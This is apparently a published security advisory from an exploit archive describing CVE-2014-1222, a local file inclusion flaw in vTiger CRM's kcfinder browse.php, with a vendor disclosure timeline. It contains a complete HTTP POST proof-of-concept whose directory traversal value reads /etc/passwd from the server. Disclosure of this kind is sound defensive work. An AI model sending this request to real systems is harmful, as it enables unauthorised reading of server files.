vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion

EDB-ID:

32213


Platform:

PHP

Published:

2014-03-12

CVE: 	CVE-2014-1222
Vendor: 	Vtiger
Product: 	CRM
Affected version: 	Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: 	Vtiger 6.0.0 Security patch 1
Reported by: 	Jerzy Kramarz
Details:

A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.

The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off

dir=files&file=/../../../../../../../../../../../etc/passwd

Note: In order to exploit this vulnerability an attacker has to be authenticated.
Impact:

This vulnerability gives an attacker the ability to read local files from the server filesystem.
Exploit:

Exploit code is not required.

Vendor status:
23/12/2013 	Advisory created
03/01/2014 	Vendor contacted
14/01/2014 	CVE obtained
27/01/2014 	Vendor contact reattempted
10/02/2014 	Vendor working on a fix
12/02/2014 	Fix released
13/02/2014 	Fix confirmed
11/03/2014 	Published